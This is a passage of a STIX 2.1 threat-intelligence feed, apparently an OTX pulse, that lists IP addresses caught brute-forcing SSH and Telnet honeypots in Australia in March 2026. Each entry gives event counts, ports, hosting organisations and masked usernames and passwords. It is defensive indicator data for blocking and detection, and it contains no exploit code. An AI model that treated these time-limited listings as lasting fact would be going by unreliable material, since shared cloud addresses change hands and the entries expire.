      "id": "indicator--c4abb904-98de-4c0b-91f7-fc0411a61d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.102.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T07:15:14.000Z",
      "valid_until": "2026-04-16T07:15:11.000Z"
    },
    {
      "created": "2026-03-15T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): ***, d***a, h**p, ***, r**t. Passwords observed (masked): 1**4, 1****6, A********6, h******5, l****3.",
      "id": "indicator--5f3e6b80-b39b-4d18-8e11-e63a6a4a1c5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.112.56.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T07:15:14.000Z",
      "valid_until": "2026-04-16T07:15:11.000Z"
    },
    {
      "created": "2026-03-15T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**4, 1********0, 1******r, a******3.",
      "id": "indicator--f13d28bb-c33d-4db2-8bca-808cd0ffd859",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.229.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T07:15:14.000Z",
      "valid_until": "2026-04-16T07:15:11.000Z"
    },
    {
      "created": "2026-03-15T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a****h, *****, ***, b****p. Passwords observed (masked): a****h, *****, 0**************D, 1**4, 1****6.",
      "id": "indicator--d8bffed8-1aa4-4092-99ea-7250ff75ae82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.196.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T07:15:14.000Z",
      "valid_until": "2026-04-16T07:15:11.000Z"
    },
    {
      "created": "2026-03-15T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): 3**********4, ***, d***a, b*******r, f*****r. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, A********6.",
      "id": "indicator--c42beedb-1b87-4e37-9b99-d096522423d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.27.90.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T07:15:14.000Z",
      "valid_until": "2026-04-16T07:15:11.000Z"
    },
    {
      "created": "2026-03-15T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--26fe616e-8db0-41e3-9cf8-95e4f1c0ecf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.91.36.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T07:15:14.000Z",
      "valid_until": "2026-04-16T07:15:11.000Z"
    },
    {
      "created": "2026-03-15T08:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ade1d463-b99a-4458-abdc-c7d9ffb15bc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T08:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.50.183.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T08:15:22.000Z",
      "valid_until": "2026-04-16T08:15:11.000Z"
    },
    {
      "created": "2026-03-15T08:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 710. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a**x, ***, ***, *. Passwords observed (masked): ***, 1****6, 1******8, 1**4, a******3.",
      "id": "indicator--803f8d84-ea28-4309-8e99-62d1395aa96c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T08:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.211.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T08:15:22.000Z",
      "valid_until": "2026-04-16T08:15:11.000Z"
    },
    {
      "created": "2026-03-15T08:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b0623819-e12b-4e2e-b102-c284426fdedf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T08:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.239.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T08:15:22.000Z",
      "valid_until": "2026-04-16T08:15:11.000Z"
    },
    {
      "created": "2026-03-15T08:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--3a9adefe-e114-45b9-bba8-0f9c71b628d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T08:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.196.84.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T08:15:22.000Z",
      "valid_until": "2026-04-16T08:15:11.000Z"
    },
    {
      "created": "2026-03-15T08:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--ffc0428b-bdbd-41dd-94ef-0f561eeaa5bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T08:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.9.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T08:15:22.000Z",
      "valid_until": "2026-04-16T08:15:11.000Z"
    },
    {
      "created": "2026-03-15T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 3**********T, a*******a.",
      "id": "indicator--adb0f1e7-aec5-4385-b9f2-f3ad9393b4cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.176.75.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T09:15:14.000Z",
      "valid_until": "2026-04-16T09:15:11.000Z"
    },
    {
      "created": "2026-03-15T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a1c61d7a-b347-4c2b-a16d-5d30aa0185b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.144.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T09:15:14.000Z",
      "valid_until": "2026-04-16T09:15:11.000Z"
    },
    {
      "created": "2026-03-15T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268137. Organisation(s): Net Sini Fiber Home Telecomunicacao LTDA - me. Usernames observed (masked): r**t, 3**********4, d*********n, d*****j, e*****r. Passwords observed (masked): 1******8, 1****6, 3***********4, 3**********4, 1***5.",
      "id": "indicator--cf770ad4-e995-4b67-92dd-1048391f03e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.169.200.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T09:15:14.000Z",
      "valid_until": "2026-04-16T09:15:11.000Z"
    },
    {
      "created": "2026-03-15T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 138. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--c18a2938-a43c-4c04-93a2-c9aaae976c5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.75.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T09:15:14.000Z",
      "valid_until": "2026-04-16T09:15:11.000Z"
    },
    {
      "created": "2026-03-15T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--aa18f18c-41eb-4337-b187-69f850de1613",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.231.139.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T09:15:14.000Z",
      "valid_until": "2026-04-16T09:15:11.000Z"
    },
    {
      "created": "2026-03-15T10:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--5e58c20e-d703-481d-96a9-f1ee09e3aee5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.169.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T10:15:13.000Z",
      "valid_until": "2026-04-16T10:15:11.000Z"
    },
    {
      "created": "2026-03-15T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--be50ca16-c407-4642-a89f-9128f7ee4be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T10:15:13.000Z",
      "valid_until": "2026-04-16T10:15:11.000Z"
    },
    {
      "created": "2026-03-15T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 90. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--6b52aa91-0204-4bce-b59e-33f35c8c3c20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.161.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T10:15:13.000Z",
      "valid_until": "2026-04-16T10:15:11.000Z"
    },
    {
      "created": "2026-03-15T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, p******d.",
      "id": "indicator--0e360b76-6be5-4725-a90a-92d868014075",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.177.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T10:15:13.000Z",
      "valid_until": "2026-04-16T10:15:11.000Z"
    },
    {
      "created": "2026-03-15T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 556. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a**x, ***, *, ***. Passwords observed (masked): 1****6, ***, 1******8, a******3, 1**4.",
      "id": "indicator--a4013f94-97c4-4291-9782-4f04337d8cd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.29.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T10:15:13.000Z",
      "valid_until": "2026-04-16T10:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, r**o, r**t, u***1, a***********r. Passwords observed (masked): 1***5, 3***********4, 3**********4, A**************3, D*****!.",
      "id": "indicator--0b127422-43bb-4f98-8b59-595cecf6eb45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): s*****r, 3**********4, ***, c***s, i**o. Passwords observed (masked): 1**4, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--bf30eb16-9715-4cbe-aa73-090af2ccf572",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.174.210.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): c*****t, f*****t, r******y, r**t. Passwords observed (masked): 1****6, C*********!, F********3, R******..",
      "id": "indicator--34f80bd7-d9de-42f1-9057-d0b835dc2b31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.173.168.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group. Usernames observed (masked): e***n, ***. Passwords observed (masked): e*******s, ***.",
      "id": "indicator--406504aa-f8fb-4fe7-8342-f3c723ae8462",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.169.100.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): t**r. Passwords observed (masked): L************!.",
      "id": "indicator--7eac09ef-374f-42de-a268-b9d42598c225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--ab0b8139-4c20-486b-86f0-2edbe6a6cd39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.133.117.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**4, 1********0, 1******r, a******3.",
      "id": "indicator--31ef02c9-23b9-4ae2-b1fb-e49a350260a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.169.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 270292. Organisation(s): CONECTTE TELECOM LTDA. Usernames observed (masked): 3**********4, e***n, r**o, a***********r, m***c. Passwords observed (masked): 1***5, 3***********4, 3**********4, A**************3, R******!.",
      "id": "indicator--eabbb879-bd91-40c3-af19-d86632446c89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.71.192.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): 3**********4, e***n, ***, u***1, a***********r. Passwords observed (masked): 3***********4, 3**********4, 1***5, A**************3, R******!.",
      "id": "indicator--2d547a59-fd70-4009-a0d8-f83808a552f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.255.214.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): 3**********4, e***n, r**o, ***, a***********r. Passwords observed (masked): 3***********4, 3**********4, 1***5, A**************3, R******!.",
      "id": "indicator--d1628ee5-ea67-4551-9986-d4469ad125e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.159.177.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): r**t. Passwords observed (masked): I***********************5.",
      "id": "indicator--b86c62ab-d569-4d2f-81dd-cb7d9dc63f99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
    {
      "created": "2026-03-15T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 265. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): 3**********4, r**o, ***, u***1, a***********r. Passwords observed (masked): 3***********4, 3**********4, 1***5, A**************3, R******!.",
      "id": "indicator--8583ae4b-6bef-4b69-899e-741d2d1056b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.217.139.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:15:14.000Z",
      "valid_until": "2026-04-16T11:15:11.000Z"
    },
